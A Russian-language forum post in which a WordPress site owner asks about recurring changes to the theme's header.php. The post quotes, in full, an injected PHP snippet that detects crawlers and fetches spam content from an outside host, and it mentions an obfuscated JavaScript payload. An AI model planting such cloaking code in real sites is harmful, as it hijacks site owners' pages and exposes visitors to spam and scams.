сайт на вордпрессе. уже несколько дней время от времени в файле header.php темы в title и еще в одном абзаце вместо некоторых букв образуются вопросительные знаки. сначала думала кодировка что-то, но нет, оно само появляется, без правок.
контент-менеджер говорит, что зашла на сайт, а там ей выпало сообщение, что она что-то выиграла (но это не факт, просто возможно, что она перепутала ).
также в указанном файле образуются примерно вот такие штуки:
<?php /* 5pJQhrPh3XJCUOiaQCa6 */ ?>
а также иногда остается js-скрипт, содержащий Function(String.fromCharCode) и кучу цифр
еще был код с включением файла с ссылками на серийники на вин10 и оффис новый - конечно удалила. вот так было:
if(preg_match('/Google Web Preview|bot|spider|wget/i',$_SERVER['HTTP_USER_AGENT'])){
$ch = curl_init();
$timeout = 5;
curl_setopt ($ch, CURLOPT_URL, '
fd.langall.com/org112.txt');
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$file_contents = curl_exec($ch);
curl_close($ch);
echo $file_contents;
}
Простой
Простой